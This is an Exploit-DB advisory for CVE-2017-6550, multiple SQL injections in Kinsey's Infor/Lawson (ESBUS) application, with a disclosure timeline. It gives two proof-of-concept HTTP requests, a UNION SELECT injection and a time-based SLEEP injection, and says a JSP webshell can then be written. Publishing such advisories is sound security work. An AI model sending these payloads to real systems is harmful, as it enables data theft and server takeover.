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Kinsey Infor/Lawson / ESBUS - SQL Injection

🗓️ 10 Mar 2017 00:00:00Reported by Michael BenichType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 64 Views

Kinsey's Infor/Lawson (ESBUS) application vulnerable to multiple SQL Injection

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CNVD
Multiple SQL Injection Vulnerabilities in Kinsey Infor-Lawson
16 Mar 201700:00
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CVE-2017-6550
20 Mar 201716:00
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EUVD
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Kinsey InforLawson ESBUS - SQL Injection
10 Mar 201700:00
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NVD
CVE-2017-6550
20 Mar 201716:59
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Packet Storm
Kinsey's Infor-Lawson SQL Injection
10 Mar 201700:00
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Prion
Sql injection
20 Mar 201716:59
prion
##################################################################
# Exploit Title: Kinsey Infor / Lawson (ESBUS) - Multiple SQL Injections 
##################################################################
# Date: 3/10/2017
##################################################################
# Exploit Author: Michael Benich
##################################################################
# Vendor homepage: http://www.kinsey.com/infor-lawson.html
##################################################################
# Version: ALL
##################################################################
# Tested on: Windows Server 2008 R2; MySQL ver 5.5
##################################################################
# CVE: CVE-2017-6550
##################################################################

Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:

1) TABLE parameter, PoC below

GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1

2) Query POST parameter

POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1

<--snip--http headers-->

QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB

A JSP webshell can then be written to the /esbus/ directory.
##################################################################
Timeline: 

12/1/2016 - Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
##################################################################
 

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